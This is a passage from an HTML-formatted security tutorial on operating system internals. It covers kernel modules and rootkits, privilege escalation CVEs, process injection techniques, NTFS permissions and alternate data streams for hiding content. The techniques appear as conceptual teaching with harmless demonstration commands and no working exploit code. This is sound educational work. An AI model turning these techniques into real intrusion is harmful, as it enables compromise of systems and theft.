&lt;li&gt;
&lt;strong&gt;Network filtering&lt;/strong&gt; — Firewall rules in the OS (iptables, Windows Firewall) run in the kernel's network stack.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The consequence:&lt;/strong&gt; If an attacker controls the kernel, they control all of these security mechanisms. They can disable file permission checks. They can read any process's memory. They can hide their processes from the process list. They can intercept all network traffic. &lt;strong&gt;A kernel-level compromise is total compromise.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is why kernel exploits are so valuable and so dangerous. It is also why rootkits target the kernel — because that is where the security controls live, and controlling the controller means controlling everything.&lt;/p&gt;
&lt;h3&gt;
  
  
  3.3 Kernel Modules and Drivers — The Expansion Surface
&lt;/h3&gt;

&lt;p&gt;The kernel can be extended at runtime through loadable modules (Linux) or drivers (Windows). These modules run in kernel space with full Ring 0 privilege.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linux Kernel Modules:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List loaded kernel modules&lt;/span&gt;
lsmod

&lt;span class="c"&gt;# Load a module&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;modprobe &amp;lt;module_name&amp;gt;

&lt;span class="c"&gt;# Remove a module&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;rmmod &amp;lt;module_name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Implication:&lt;/strong&gt; Loading a malicious kernel module gives an attacker complete, persistent control over the system. This is exactly how kernel rootkits work — they load a malicious module that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hides files from directory listings&lt;/li&gt;
&lt;li&gt;Hides processes from tools like &lt;code&gt;ps&lt;/code&gt; and Task Manager&lt;/li&gt;
&lt;li&gt;Hides network connections from &lt;code&gt;netstat&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Captures keystrokes&lt;/li&gt;
&lt;li&gt;Intercepts and modifies system call results&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Real-world example:&lt;/strong&gt; The Azazel rootkit, Reptile rootkit, and numerous APT implants use kernel module techniques on Linux. On Windows, rootkits like TDL4 (Alureon) modified the boot process to load malicious kernel drivers before Windows security initialised.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kernel Module Signing:&lt;/strong&gt; Modern kernels require modules to be cryptographically signed by a trusted key. On Linux with Secure Boot enabled, unsigned modules are rejected. Attackers bypass this by exploiting vulnerabilities in legitimate signed drivers — this is called &lt;strong&gt;BYOVD (Bring Your Own Vulnerable Driver)&lt;/strong&gt;, a technique used by threat groups like Lazarus and BlackByte ransomware operators.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Security Concept:&lt;/strong&gt; BYOVD is currently one of the most important kernel-level attack techniques in the wild. The attacker does not need to write a malicious driver from scratch. They bring a legitimate, signed driver that has a known vulnerability, exploit it to gain kernel-level code execution, and then use that access to disable security software or install a rootkit. Understanding kernel modules is the prerequisite for understanding this class of attack.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. User Mode vs Kernel Mode
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 The Fundamental Division
&lt;/h3&gt;

&lt;p&gt;This concept is so important it deserves its own section. Modern CPUs implement a hardware-enforced privilege separation between two execution contexts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│              KERNEL MODE (Ring 0)               │
│                                                 │
│  • Direct hardware access                       │
│  • All CPU instructions available               │
│  • Full memory access                           │
│  • No restrictions                              │
│                                                 │
│  OS Kernel, Device Drivers, Kernel Modules      │
│                                                 │
├─────────────────────────────────────────────────┤  ← Hardware-enforced boundary
│              USER MODE (Ring 3)                 │
│                                                 │
│  • No direct hardware access                    │
│  • Privileged instructions cause exception      │
│  • Only own process memory accessible           │
│  • Must use system calls to request resources   │
│                                                 │
│  Applications, Services, Malware, Your Code     │
│                                                 │
└─────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Why This Boundary Exists
&lt;/h3&gt;

&lt;p&gt;Without this separation, any program could:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Overwrite the OS kernel in memory.&lt;/li&gt;
&lt;li&gt;Read passwords from other processes.&lt;/li&gt;
&lt;li&gt;Disable security software by killing its process.&lt;/li&gt;
&lt;li&gt;Directly write to disk, bypassing file system permissions.&lt;/li&gt;
&lt;li&gt;Send arbitrary network packets, bypassing firewalls.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The boundary prevents all of this. A bug in a user-mode application can crash that application. A bug in a kernel-mode component can crash the entire system (Blue Screen of Death on Windows, Kernel Panic on Linux).&lt;/p&gt;

&lt;h3&gt;
  
  
  4.3 How the Transition Works
&lt;/h3&gt;

&lt;p&gt;When a user-mode program needs something that requires kernel-mode access — reading a file, creating a network socket, allocating memory — it makes a &lt;strong&gt;system call&lt;/strong&gt;. This is a controlled, intentional crossing of the boundary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User Mode Application
        │
        │  Calls: read(fd, buffer, count)  [C library wrapper]
        │
        ▼
System Library (glibc / ntdll.dll)
        │
        │  Issues: SYSCALL instruction (x86-64 Linux)
        │          or SYSENTER / INT 0x80 (older)
        │          or SYSCALL via ntdll (Windows)
        │
        ▼
CPU switches to Ring 0, kernel takes over
        │
        │  Kernel: validates parameters, checks permissions,
        │          performs the actual operation
        │
        ▼
CPU switches back to Ring 3
        │
        ▼
User Mode Application receives result
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The system call interface is the only legitimate way to cross from user mode to kernel mode. Every file read, every network connection, every process creation goes through this path.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.4 Security Attacks on This Boundary
&lt;/h3&gt;

&lt;p&gt;The user mode / kernel mode boundary is one of the most attacked boundaries in computing:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Local Privilege Escalation (LPE):&lt;/strong&gt;&lt;br&gt;
A vulnerability in a kernel system call handler that allows user-mode code to execute with kernel privileges or gain root/SYSTEM access. These are among the most valuable vulnerabilities in offensive security.&lt;/p&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2021-4034 (PwnKit)&lt;/strong&gt; — A 12-year-old vulnerability in &lt;code&gt;pkexec&lt;/code&gt; that allowed any user to escalate to root on virtually every Linux distribution. Trivially exploitable, required no special conditions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2020-0796 (SMBGhost)&lt;/strong&gt; — A kernel vulnerability in Windows 10's SMB driver. Allowed unauthenticated remote code execution at kernel level.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DirtyPipe (CVE-2022-0847)&lt;/strong&gt; — Linux kernel pipe vulnerability allowing any user to overwrite read-only files, including &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Kernel Address Space Layout Randomisation (KASLR):&lt;/strong&gt;&lt;br&gt;
The kernel randomises its own memory layout to make exploitation harder. Many modern exploits first leak a kernel address to defeat KASLR before attempting privilege escalation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SMEP and SMAP (from Stage 0.1):&lt;/strong&gt;&lt;br&gt;
CPU features that prevent the kernel from executing or accessing user-mode memory. These hardware features are specifically designed to stop kernel exploits that try to jump into user-mode shellcode.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Mindset shift:&lt;/strong&gt; When you see a vulnerability description that says "allows local privilege escalation" or "EoP (Elevation of Privilege)," you now know exactly what is happening at the architectural level. The vulnerability crosses the user-mode / kernel-mode boundary in an unauthorised way. This understanding is what separates someone who reads exploit descriptions from someone who understands them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  4.5 Windows-Specific: Sessions, Integrity Levels, and Protected Processes
&lt;/h3&gt;

&lt;p&gt;Windows adds additional layers on top of the basic user/kernel split:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Session 0 Isolation:&lt;/strong&gt;&lt;br&gt;
Services run in Session 0, user applications run in Session 1+. This separation prevents user applications from interacting with service windows (a vector for privilege escalation called "Shatter Attacks" in older Windows).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Integrity Levels (Mandatory Integrity Control):&lt;/strong&gt;&lt;br&gt;
Windows adds a trust level to every process and object:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Level&lt;/th&gt;
&lt;th&gt;Examples&lt;/th&gt;
&lt;th&gt;Can Write To&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Internet Explorer sandboxed, downloads&lt;/td&gt;
&lt;td&gt;Temp folders only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Normal user applications&lt;/td&gt;
&lt;td&gt;User's profile&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Elevated (UAC) processes&lt;/td&gt;
&lt;td&gt;System directories&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System&lt;/td&gt;
&lt;td&gt;Windows services, SYSTEM&lt;/td&gt;
&lt;td&gt;Everything&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A Medium integrity process cannot write to a High integrity process's memory. This is why UAC bypasses are important — they allow a Medium integrity process to elevate to High without triggering the UAC prompt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Protected Processes Light (PPL):&lt;/strong&gt;&lt;br&gt;
Security-critical processes (antivirus engines, LSASS) can run as PPL. Even a process running as SYSTEM cannot open a PPL process with write access. This is why Mimikatz requires a kernel driver to dump credentials from LSASS on modern Windows — it cannot access LSASS from user mode even as SYSTEM.&lt;/p&gt;


&lt;h2&gt;
  
  
  5. Processes and Threads
&lt;/h2&gt;
&lt;h3&gt;
  
  
  5.1 What Is a Process
&lt;/h3&gt;

&lt;p&gt;A process is an instance of a running program. When you double-click &lt;code&gt;notepad.exe&lt;/code&gt;, Windows creates a process. That process has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Its own &lt;strong&gt;virtual address space&lt;/strong&gt; — 4 GB on 32-bit, 128 TB on 64-bit&lt;/li&gt;
&lt;li&gt;Its own &lt;strong&gt;set of handles&lt;/strong&gt; — open files, network sockets, registry keys&lt;/li&gt;
&lt;li&gt;Its own &lt;strong&gt;security context&lt;/strong&gt; — the user account it runs as, its integrity level&lt;/li&gt;
&lt;li&gt;At least one &lt;strong&gt;thread&lt;/strong&gt; — the actual execution unit&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Processes are isolated from each other.&lt;/strong&gt; Process A cannot read Process B's memory directly. The kernel enforces this through the MMU's page table mechanism.&lt;/p&gt;
&lt;h3&gt;
  
  
  5.2 What Is a Thread
&lt;/h3&gt;

&lt;p&gt;A thread is the actual unit of execution within a process. A process can have one thread or thousands. Threads within the same process share:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The virtual address space&lt;/li&gt;
&lt;li&gt;Open handles&lt;/li&gt;
&lt;li&gt;The security context&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But each thread has its own:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stack&lt;/strong&gt; — local variables, function call chain, return addresses&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Register state&lt;/strong&gt; — what the CPU was doing when this thread last ran&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Thread ID (TID)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Process (notepad.exe)
├── Virtual Address Space (shared)
├── Heap (shared)
├── Open Handles (shared)
│
├── Thread 1 (Main UI thread)
│   ├── Stack
│   └── Registers (RIP, RSP, ...)
│
├── Thread 2 (Background save thread)
│   ├── Stack
│   └── Registers
│
└── Thread 3 (Spell check thread)
    ├── Stack
    └── Registers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  5.3 Process Creation — What Happens Under the Hood
&lt;/h3&gt;

&lt;p&gt;Understanding process creation is critical for malware analysis and process injection attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On Linux:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;   &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;Creates&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;copy&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parent&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;   &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;Replaces&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The combination of &lt;code&gt;fork()&lt;/code&gt; + &lt;code&gt;exec()&lt;/code&gt; is how every new process is created on Unix-like systems. The shell forks itself, then the child calls &lt;code&gt;exec()&lt;/code&gt; to become the new program.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On Windows:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CreateProcess() → All-in-one API to create a new process
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Windows uses a single API call, but internally it creates a new process object, maps the executable, creates the initial thread, and loads required DLLs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security Relevance — Process Injection:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because threads within a process share memory, attackers inject malicious code into legitimate processes to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hide malicious activity under a trusted process name (svchost.exe, explorer.exe)&lt;/li&gt;
&lt;li&gt;Inherit the security context of the target process (impersonation)&lt;/li&gt;
&lt;li&gt;Bypass application whitelisting (code runs inside a whitelisted process)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Common injection techniques you will study later:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Classic DLL injection&lt;/strong&gt; — Write shellcode to target process memory, create remote thread&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process hollowing&lt;/strong&gt; — Create suspended process, replace its memory with malicious image&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Thread hijacking&lt;/strong&gt; — Suspend a thread, overwrite its context to redirect execution&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;APC injection&lt;/strong&gt; — Queue asynchronous procedure calls to a thread&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of these techniques manipulate the process and thread model described here.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.4 Process Scheduling
&lt;/h3&gt;

&lt;p&gt;The OS scheduler decides which thread runs on which CPU core at what time. Modern schedulers are &lt;strong&gt;preemptive&lt;/strong&gt; — the OS can interrupt a running thread at any moment and give CPU time to another thread. This is why your computer can run many programs "simultaneously" on a small number of cores.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security Relevance — Race Conditions:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Scheduling creates &lt;strong&gt;time-of-check to time-of-use (TOCTOU)&lt;/strong&gt; vulnerabilities. The OS checks if you have permission to access a file, then accesses it. Between the check and the use, another thread can swap the file for a different one. The check was valid, but the use is on the wrong file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2022-21999 (Windows Print Spooler)&lt;/strong&gt; and the famous &lt;strong&gt;Dirty COW (CVE-2016-5195)&lt;/strong&gt; Linux kernel vulnerability are TOCTOU race conditions. Dirty COW allowed any local user to write to read-only memory mappings by winning a race in the kernel's copy-on-write implementation — gaining root in seconds on virtually every Linux system in existence at the time.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 Viewing Processes in Practice
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all processes with details&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CPU&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;WorkingSet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Find process by name&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"notepad"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Show process tree (parent-child relationships)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-CimInstance&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ProcessId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParentProcessId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ExecutablePath&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Sysinternals Process Explorer — industry standard for process investigation&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Download: https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Full process list with details&lt;/span&gt;
ps aux

&lt;span class="c"&gt;# Process tree — shows parent-child relationships&lt;/span&gt;
pstree &lt;span class="nt"&gt;-p&lt;/span&gt;

&lt;span class="c"&gt;# Real-time process monitor&lt;/span&gt;
top
htop  &lt;span class="c"&gt;# Better version, install with: sudo apt install htop&lt;/span&gt;

&lt;span class="c"&gt;# Detailed info for specific process&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/status
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/maps    &lt;span class="c"&gt;# Memory map&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/cmdline &lt;span class="c"&gt;# Command that started this process&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/fd/  &lt;span class="c"&gt;# Open file descriptors&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Analyst Note:&lt;/strong&gt; During malware analysis and incident response, understanding process parent-child relationships is crucial. Legitimate process trees have predictable structures. Malware reveals itself through anomalies — &lt;code&gt;cmd.exe&lt;/code&gt; spawned by &lt;code&gt;excel.exe&lt;/code&gt;, &lt;code&gt;powershell.exe&lt;/code&gt; spawned by &lt;code&gt;winword.exe&lt;/code&gt;, or any process with a PPID that does not make logical sense. This is a core detection technique used in every SOC and EDR product.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. File System Structures — NTFS, ext4, FAT32
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 What Is a File System
&lt;/h3&gt;

&lt;p&gt;A file system is the method an OS uses to organise, store, and retrieve data on a storage device. Without a file system, a disk is just raw sectors of binary data. The file system imposes structure — files, directories, permissions, metadata — that makes the data usable.&lt;/p&gt;

&lt;p&gt;Understanding file systems is essential for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Digital forensics&lt;/strong&gt; — recovering deleted files, analysing timestamps, finding hidden data&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privilege escalation&lt;/strong&gt; — exploiting misconfigured file permissions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Malware analysis&lt;/strong&gt; — understanding where malware stores itself and what it modifies&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Incident response&lt;/strong&gt; — understanding what was accessed, modified, or deleted and when&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.2 NTFS — Windows File System
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;NTFS (New Technology File System)&lt;/strong&gt; has been the primary Windows file system since Windows NT 3.1 (1993). It is a journaling file system with rich security features.&lt;/p&gt;

&lt;h4&gt;
  
  
  NTFS Structure
&lt;/h4&gt;

&lt;p&gt;The most important structure in NTFS is the &lt;strong&gt;MFT (Master File Table)&lt;/strong&gt;. The MFT is a database where every file and directory on the volume has at least one record. Think of it as the file system's index.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MFT Record (1024 bytes per record):
├── Standard Information  → Timestamps (Created, Modified, Accessed, MFT Changed)
├── File Name            → The file's name (can have multiple for short name compatibility)
├── Security Descriptor  → Access Control List (who can read/write/execute)
├── Data Attribute       → The actual file content (or pointer to it if large)
└── Object ID            → Unique identifier for the file
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  NTFS Security — Access Control Lists (ACLs)
&lt;/h4&gt;

&lt;p&gt;NTFS implements discretionary access control through ACLs. Every file and directory has a &lt;strong&gt;Security Descriptor&lt;/strong&gt; that contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Owner&lt;/strong&gt; — who owns the file&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DACL (Discretionary Access Control List)&lt;/strong&gt; — who can do what&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SACL (System Access Control List)&lt;/strong&gt; — what to audit
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View file permissions&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Acl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Windows\System32\cmd.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# View in icacls format&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;icacls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Windows\System32\cmd.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Security Relevance:&lt;/strong&gt; Misconfigured NTFS permissions are a primary vector for Windows privilege escalation. If a service binary is writable by a non-administrative user, that user can replace it with a malicious executable. When the service starts (often as SYSTEM), the malicious code runs with SYSTEM privileges. Tools like &lt;strong&gt;PowerUp&lt;/strong&gt; and &lt;strong&gt;WinPEAS&lt;/strong&gt; automate the search for these misconfigurations during post-exploitation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  NTFS Alternate Data Streams (ADS)
&lt;/h4&gt;

&lt;p&gt;This is one of the most important NTFS features from a security perspective.&lt;/p&gt;

&lt;p&gt;NTFS supports multiple data streams per file. Every file has a default, unnamed data stream (&lt;code&gt;:$DATA&lt;/code&gt;) that contains the file's contents. But a file can have additional named streams that are completely invisible in normal directory listings.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Create an alternate data stream
echo "hidden malicious content" &amp;gt; legitimate_file.txt:hidden_stream

# The file appears normal in directory listing
dir legitimate_file.txt
# Output: legitimate_file.txt  (shows only the main stream's size)

# The hidden content is there
more &amp;lt; legitimate_file.txt:hidden_stream
# Output: hidden malicious content

# Find ADS on a system
dir /r  # /r flag shows alternate data streams
streams.exe -s C:\  # Sysinternals Streams tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Malware and ADS:&lt;/strong&gt;&lt;br&gt;
Attackers use ADS to hide malicious executables and scripts inside legitimate files. The host file appears innocent, but the malicious code lives in a hidden stream.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Zone.Identifier — The Beneficial ADS:&lt;/strong&gt;&lt;br&gt;
Windows uses an ADS called &lt;code&gt;Zone.Identifier&lt;/code&gt; to mark files downloaded from the internet. When you download a file from a browser, Windows adds this stream:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ZoneTransfer]
ZoneId=3
ReferenceUrl=https://example.com/malware.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is what causes the "This file was downloaded from the internet. Are you sure you want to run it?" warning. Malware often deletes this stream (using &lt;code&gt;Unblock-File&lt;/code&gt; in PowerShell or &lt;code&gt;attrib&lt;/code&gt;) to suppress the warning. Forensically, the absence of &lt;code&gt;Zone.Identifier&lt;/code&gt; on a file that should have been downloaded is itself a suspicious indicator.&lt;/p&gt;

&lt;h4&gt;
  
  
  NTFS Timestamps — A Forensic Gold Mine (and Minefield)
&lt;/h4&gt;

&lt;p&gt;NTFS maintains four timestamps per file in the Standard Information attribute:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Created ($SI_Created)&lt;/strong&gt;&lt;/li&gt;
